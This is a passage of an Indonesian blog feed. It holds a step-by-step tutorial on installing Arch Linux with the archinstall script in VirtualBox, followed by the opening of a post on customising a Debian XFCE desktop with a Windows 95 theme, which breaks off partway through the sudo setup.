Archlinux sebagai distro yang digemari banyak orang adalah karena filosofinya, yaitu &lt;strong&gt;&lt;code&gt;Keep It Simple&lt;/code&gt;&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Ya, sesuai filosofinya, Archlinux memang di-design untuk memberikan kemudahan, baik
untuk penggunanya maupun untuk &lt;em&gt;hardware&lt;/em&gt; atau mesin host-nya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Meskipun demikian, dulu Archlinux memiliki reputasi sebagai distro untuk “linux senior” atau “sepuh linux” alias tidak ramah pengguna linux pemula. Pendapat tersebut muncul setidaknya karena proses install-nya
yang terbilang cukup rumit dibandingkan dengan distro-distro lain, sebut saja Debian (yang juga merupakan distro legend) misalnya. Dibandingkan Debian yang proses instalasinya
memanjakan pengguna dengan tampilan GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;)-nya dan langkah-langkah instalasinya yang relatif sederhana, proses instalasi Archlinux justru berbasis CLI (&lt;em&gt;CommandLine Interface&lt;/em&gt;)
dan menggunakan &lt;em&gt;command&lt;/em&gt; atau perintah-perintah yang tidak familiar. Intinya, Archlinux memang bukan sembarang distro karena diperlukan jam terbang untuk bisa menguasainya, bahkan sekadar untuk instalasinya.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tapi itu dulu…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sekarang, Archlinux sudah mulai memberikan &lt;em&gt;concern&lt;/em&gt; pada proses instalasi yang bisa menghabiskan waktu yang lama tersebut sehingga (saya lupa persisnya tahun berapa, mungkin sekitar 2022 / 2023)
Archlinux menyediakan &lt;em&gt;script&lt;/em&gt; instalasi di ISO resminya, yaitu &lt;code&gt;archinstall&lt;/code&gt;. Nah, dengan hadirnya &lt;em&gt;script&lt;/em&gt; ini, Archlinux bukan lagi distro yang menakutkan karena kita dapat menginstall
sang distro dengan mudah di komputer kita.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Pra-instalasi&lt;a href=&quot;#pra-instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Unduh ISO Archlinux di sini: &lt;a href=&quot;https://archlinux.org/download/&quot; target=&quot;_blank&quot;&gt;https://archlinux.org/download/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Btw, saya akan menginstall Archlinux sebagai VM (&lt;em&gt;Virtual Machine&lt;/em&gt;) di &lt;a href=&quot;https://www.google.com/search?client=firefox-b-e&amp;amp;q=virtualbox&quot; target=&quot;_blank&quot;&gt;Virtualbox&lt;/a&gt;. Jadi, untuk proses membuat VM dan
konfigurasinya di Virtualbox (bagi kalian yang belum tau), bisa menyimak tulisan saya sebelumnya tentang instalasi Debian pada sub &lt;strong&gt;“Membuat VM di Virtualbox”&lt;/strong&gt;
&lt;a href=&quot;https://abwildan.github.io/post/debian-installation/&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi Archlinux via &lt;code&gt;archinstall&lt;/code&gt; Script&lt;a href=&quot;#instalasi-archlinux-via-archinstall-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saat pertama kali mulai, kita akan melihat tampilan berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;703&quot; height=&quot;593&quot; src=&quot;/_astro/ss1.moIgTg3A_16IYl1.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita boleh menekan Enter pada pilihan yang pertama, &lt;strong&gt;“Arch Linux Install medium (x86_64, BIOS)”&lt;/strong&gt; atau membiarkannya saja juga tidak mengapa.&lt;/p&gt;&lt;p&gt;Archlinux sudah siap diinstall ketika kita sudah masuk ke mode berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;702&quot; height=&quot;368&quot; src=&quot;/_astro/ss2.D90Xm_Uk_20FPxJ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk memastikan kita sudah terhubung ke internet, kita bisa mengetikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau mencoba ping ke Google&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ping&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;google.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;877&quot; height=&quot;495&quot; src=&quot;/_astro/ss3.CXWVqxeh_ZyXIoD.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jika &lt;em&gt;ip address&lt;/em&gt;-nya sudah muncul atau ping ke google berjalan dengan lancar, itu tandanya kita siap untuk menginstall Archlinux.&lt;/p&gt;&lt;p&gt;Untuk mulai menjalankan &lt;em&gt;script&lt;/em&gt;, kita cukup mengetikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;archinstall&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tunggu beberapa saat hingga muncul tampilan berikut
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;777&quot; height=&quot;506&quot; src=&quot;/_astro/ss4.BzU3wCc3_Z33k81.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita perlu men-&lt;em&gt;setting&lt;/em&gt; beberapa hal…&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Mirrors&lt;a href=&quot;#1-mirrors&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mirrors sederhananya adalah server repository Archlinux yang ada di seluruh dunia. Tentu, kita harus memilih server repo yang terdekat (yang ada di Indonesia) supaya nanti proses install
&lt;em&gt;package&lt;/em&gt; atau proses &lt;em&gt;update software&lt;/em&gt;-nya dapat berjalan lebih cepat.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/mirror.C1vP72vo_1ogDBF.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Silakan pilih bagian *&lt;em&gt;Mirrors&lt;/em&gt;, untuk mengarahkan bisa menggunakan &lt;em&gt;&lt;strong&gt;arrow keys&lt;/strong&gt;&lt;/em&gt; di keyboard.&lt;/li&gt;
&lt;li&gt;Kemudian pilih &lt;strong&gt;Mirror Region&lt;/strong&gt; dan tunggu beberapa saat hingga menampilkan list negara.&lt;/li&gt;
&lt;li&gt;Untuk mempercepat pencarian, kita bisa mengetikkan garis miring atau &lt;em&gt;slash&lt;/em&gt; ( &lt;strong&gt;/&lt;/strong&gt; ) dan ketikkan indo.&lt;/li&gt;
&lt;li&gt;Untuk menceklis pilihan negara kita (Indonesia), pencet “Tab” di keyboard.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Disk Configuration&lt;a href=&quot;#2-disk-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Disk configuration adalah opsi untuk mengkonfigurasi partisi hardisk kita.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/disk.DVrP4P3F_GS48B.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Silakan pilih bagian &lt;strong&gt;Disk Configuration&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Pilih &lt;strong&gt;Use a best-effort default partition layout&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Ceklis pada kolom path /dev/sda&lt;/li&gt;
&lt;li&gt;Pilih format filesystem &lt;strong&gt;ext4&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Hostname (Optional)&lt;a href=&quot;#3-hostname-optional&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Hostname adalah nama dari komputer yang “meng-&lt;em&gt;hosting&lt;/em&gt;” Archlinux kita. Kita bisa membiarkannya default dengan nama “archlinux” atau boleh juga diganti sesuai dengan selera kita.&lt;/p&gt;&lt;p&gt;Saya akan menggantinya ke &lt;strong&gt;castle&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/hostname.qy5hv2q1_1okhFw.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Silakan pilih bagian &lt;strong&gt;Hostname&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Hapus “archlinux” dan ganti ke preferensi hostname kalian (saya ubah ke “castle”)&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Root Password&lt;a href=&quot;#4-root-password&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Root Password adalah bagian untuk memberikan password kepada user &lt;strong&gt;root&lt;/strong&gt; (atau kalau di Windows adalah user &lt;strong&gt;Administrator&lt;/strong&gt;). User root adalah user dengan &lt;em&gt;privilege&lt;/em&gt; yang paling tinggi
dalam hirarki user di linux. Jadi, saya sarankan kalian nanti akan menginputkan password yang tidak mudah dibobol.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/rootpwd.wp6CHOwa_ZH6qTJ.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Silakan pilih &lt;strong&gt;Root Password&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Ketikkan password yang kalian kehendaki (memang tidak akan tampil di layar)&lt;/li&gt;
&lt;li&gt;Setelah selesai, ketik Enter, dan masukkan kembali password yang sama sebagai verifikasi, dan Enter&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. User Account&lt;a href=&quot;#5-user-account&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita akan memasukkan akun user normal kita di bagian User Account ini, berikut juga password akunnya tentu saja.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/useraccount.Be69GpV2_Z1nMpN6.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Silakan pilih &lt;strong&gt;User Account&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Pilih &lt;strong&gt;Add a user&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Ketikkan nama user yang kalian inginkan (saya pilih nama saya sendiri, &lt;strong&gt;wildan&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Ketikkan password untuk user yang sudah dibuat tadi (memang tidak akan tampil di layar)&lt;/li&gt;
&lt;li&gt;Ketikkan kembali password yang sama sebagai verifikasi&lt;/li&gt;
&lt;li&gt;Pilih &lt;strong&gt;yes (default)&lt;/strong&gt; pada pertanyaan ‘&lt;em&gt;Should “wildan” be a super user (sudo)?&lt;/em&gt;’, supaya user kita dimasukkan ke dalam grup sudo (&lt;em&gt;sudoers&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Kemudian, pilih &lt;strong&gt;Confirm and exit&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Profile&lt;a href=&quot;#6-profile&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Profile adalah bagian untuk kita mengkonfigurasi tipe Archlinux yang akan kita gunakan. Apakah Archlinux kita akan berjalan sebagai Desktop, Server, atau lainnya? Tapi, di sini, saya
akan menginstall Archlinux sebagai Deskop dengan DE (&lt;em&gt;Desktop Environment&lt;/em&gt;) KDE Plasma.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/profile.DqZB1jOH_Z1TVqqw.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Pilih &lt;strong&gt;Profile&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Type&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Desktop&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Ceklis di Kde, Enter&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Audio&lt;a href=&quot;#7-audio&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita selanjutnya akan memilih audio server pada bagian Audio ini.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/audio.CLaNuJLa_Z1UjWE3.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Pilih &lt;strong&gt;Audio&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Pilih &lt;strong&gt;Pulseaudio&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;8. Additional packages&lt;a href=&quot;#8-additional-packages&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Additional packages adalah paket-paket tambahan yang perlu kita install karena tidak terinstall secara default. Biasanya, firefox adalah salah satu dari paket yang tidak terinstall
secara default pada &lt;em&gt;script&lt;/em&gt; archinstall ini. Jadi, kita akan menginstallnya dengan menambahkannya pada bagian ini.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1188&quot; src=&quot;/_astro/additionalpackages.HzPu1azX_ZbtvOp.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Pilih &lt;strong&gt;Additional Packages&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Ketikkan &lt;strong&gt;firefox&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Jika tidak ada &lt;em&gt;return&lt;/em&gt; error, berarti package tersebut ada di repository (penulisannya sudah benar dan sesuai) dan siap diinstall.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;9. Network configuration&lt;a href=&quot;#9-network-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Network configuration adalah opsi untuk mengkonfigurasi jaringan internet yang akan digunakan oleh OS Archlinux kita.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1058&quot; src=&quot;/_astro/networkconfig.BJcHYtJX_Z2hd7Ma.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah selesai mengisi semua opsi install-nya, berikutnya kita harus memilih &lt;strong&gt;Install&lt;/strong&gt; untuk memulai instalasi…&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;726&quot; src=&quot;/_astro/install.C6E2lKsp_Z1gtfeT.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Nanti ada pesan permintaan menekan Enter untuk melanjutkan proses instalasi, kita tinggal menekan Enter dan proses instalasi pun berjalan…&lt;/p&gt;&lt;p&gt;Silakan mandi dulu, kemudian seduh kopi, goreng telur, dan cuci baju, karena proses ini bisa dibilang proses yang memakan waktu (bergantung dari kecepatan internet kalian)…&lt;/p&gt;&lt;p&gt;Tunggu proses instalasinya berjalan hingga muncul tampilan berikut
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;151&quot; src=&quot;/_astro/ss5.Bzs_oR-d_1PG6e2.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Installation completed without any errors. You may now reboot.&lt;/strong&gt; Artinya proses instalasi berjalan dengan baik tanpa ada error dan kita bisa me-&lt;em&gt;restart&lt;/em&gt; laptop kita.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1340&quot; height=&quot;920&quot; src=&quot;/_astro/ss6.9GKro_4r_Z1muQ6R.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita berhasil masuk ke display manager untuk login, dan…&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1340&quot; height=&quot;920&quot; src=&quot;/_astro/ss7.YF80yTaH_Z1kxUiH.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Ini dia desktop KDE dari Archlinux kita…&lt;/p&gt;&lt;p&gt;Selamat!&lt;/p&gt;&lt;p&gt;Okeee, sekian dulu tutorial instalasi Archlinux via &lt;code&gt;archinstall&lt;/code&gt; &lt;em&gt;script&lt;/em&gt; kali ini.&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di artikel saya yang lain!!&lt;/p&gt;&lt;p&gt;Byee~&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;https://archlinux.org/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/Arch_Linux&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/Arch_Linux&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Linux Ricing?</title><link>https://shangdi.github.io/posts/tech/rice/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rice/</guid><description>Rice? Linux eating rice? Do you want to know more about behind the &apos;Ricing&apos; term on technology thing, especially Linux? Here is your article...</description><pubDate>Sun, 28 Apr 2024 07:21:13 GMT</pubDate><content:encoded>&lt;p&gt;Hola!&lt;/p&gt;
&lt;p&gt;Teman-teman familiar dengan istilah &lt;em&gt;rice&lt;/em&gt; atau &lt;em&gt;Linux ricing&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Tidak seperti makna dari terjemah harfiahnya yang berarti &lt;strong&gt;nasi&lt;/strong&gt; atau &lt;em&gt;menasikan Linux&lt;/em&gt;, istilah &lt;em&gt;rice&lt;/em&gt; atau &lt;em&gt;Linux Ricing&lt;/em&gt; punya makna yang boleh dibilang eksklusif dan kontekstual.
Gimana tu maksudnya? Mari saya jelaskan…&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Secara sederhana, istilah &lt;em&gt;rice&lt;/em&gt; yang digunakan dalam dunia Linux dicomot dari istilah yang biasa digunakan di dunia otomotif (mobil), dimana &lt;strong&gt;RICE&lt;/strong&gt; adalah singkatan dari
&lt;em&gt;&lt;strong&gt;Race Inspired Cosmetic Enhancement&lt;/strong&gt;&lt;/em&gt;. Istilah &lt;strong&gt;RICE&lt;/strong&gt; dalam dunia mobil tersebut digunakan untuk menjelaskan modifikasi pada mobil.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Jadi, ketika istilah &lt;strong&gt;RICE&lt;/strong&gt; tadi masuk ke dunia
Linux, itu berarti modifikasi (secara kosmetis / tampilan) pada Desktop Linux atau dengan kata lain &lt;strong&gt;kustomisasi Desktop Linux&lt;/strong&gt;. Sesederhana itu.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Nah, di postingan ini, saya akan berbagi tutorial &lt;em&gt;ricing&lt;/em&gt; Linux. Adapun Linux yang saya gunakan adalah Debian dengan &lt;em&gt;Desktop Environment (DE)&lt;/em&gt; &lt;strong&gt;XFCE&lt;/strong&gt; yang pada postingan sebelumnya, saya
juga sudah menjelaskan tutorial instalasi Debian dengan XFCE &lt;a href=&quot;https://abwildan.github.io/post/debian-installation/&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;. Lebih jelasnya, saya akan merubah tampilan XFCE Debian
yang default seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/xfce-default.CIm-6mTH_15SBal.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;menjadi Debian XFCE dengan tampilan atau tema Windows95, seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/featured.Q_PFIt7s_ZfOvlH.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Saya akan membagi tutorial ini ke dalam 2 bagian utama, yaitu:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bagian Pertama: Persiapan&lt;/li&gt;
&lt;li&gt;Bagian Kedua: &lt;em&gt;Ricing Moment&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Tapi, sebelum masuk ke bagian pertama, saya akan membeberkan alasan saya memilih tema Win95 ini dibandingkan opsi-opsi tema lainnya. Setidaknya, saya memilih tema ini sebagai bahan
belajar &lt;em&gt;ricing&lt;/em&gt; karena 2 hal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tema ini lebih mudah diaplikasikan (karena menggunakan script). Jadi, bagi yang awam pun tidak perlu terlalu pusing.&lt;/li&gt;
&lt;li&gt;Tema ini relatif solid. Artinya, kustomisasi yang dilakukan script ini nanti tidak akan merusak komponen-komponen yang ada pada DE XFCE.&lt;/li&gt;
&lt;li&gt;Tema ini (tentu saja) sangat keren menurut saya, karena bisa membawa kita melintasi ruang dan waktu ke beberapa tahun ke belakang (&lt;em&gt;re: &lt;strong&gt;nostalgia&lt;/strong&gt;&lt;/em&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;section&gt;&lt;h1&gt;Bagian Pertama: Persiapan&lt;a href=&quot;#bagian-pertama-persiapan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Oh iya, saya beranggapan, kalian yang membaca dan mau mengikuti tutorial &lt;em&gt;ricing&lt;/em&gt; Linux ini adalah kalian yang terlebih dahulu mengikuti instalasi Linux Debian di artikel saya sebelumnya.
Jadi, beberapa hal harus kita konfigurasi terlebih dahulu karena instalasi kemarin adalah Debian yang masih polos, &lt;em&gt;fresh&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;So, hal-hal yang perlu kita lakukan adalah sebagai berikut:&lt;/p&gt;&lt;section&gt;&lt;h2&gt;1. Menambahkan User ke Grup &lt;code&gt;sudoers&lt;/code&gt;&lt;a href=&quot;#1-menambahkan-user-ke-grup-sudoers&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Instalasi Linux Debian kemarin masih belum memberikan user kita (dalam konteks saya namanya &lt;strong&gt;wildan&lt;/strong&gt;) akses ke sudo. Sehingga, menurut saya cukup merepotkan kalau kita perlu
berhubungan dengan akses &lt;code&gt;root&lt;/code&gt; via sudo (misalnya menginstall paket), tapi harus menggunakan user root alih-alih user saya sendiri (&lt;strong&gt;wildan&lt;/strong&gt;). Misalnya, seperti gambar berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;454&quot; height=&quot;192&quot; src=&quot;/_astro/ss3.KjVfQdiJ_oCFEW.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Nah, supaya user kita punya akses ke &lt;code&gt;root&lt;/code&gt; via sudo, kita perlu memasukkan user kita tersebut ke grup &lt;em&gt;&lt;strong&gt;sudoers&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Pertama, kita masuk dulu ke user &lt;code&gt;root&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita masukkan user kita ke grup sudoers:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;usermod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-aG&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wildan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;453&quot; height=&quot;195&quot; src=&quot;/_astro/ss4.CJvGZWBo_UOOj8.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kalau tidak ada indikasi &lt;em&gt;error&lt;/em&gt;, berarti kita sudah berhasil menambahkan user kita ke grup sudoers.&lt;/p&gt;&lt;p&gt;Untuk membuktikannya, silakan &lt;em&gt;logout&lt;/em&gt; dan &lt;em&gt;log in&lt;/em&gt; kembali. Kemudian, ketikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;su&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;180&quot; src=&quot;/_astro/ss5.BKUTLw9__ZxEw6S.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan 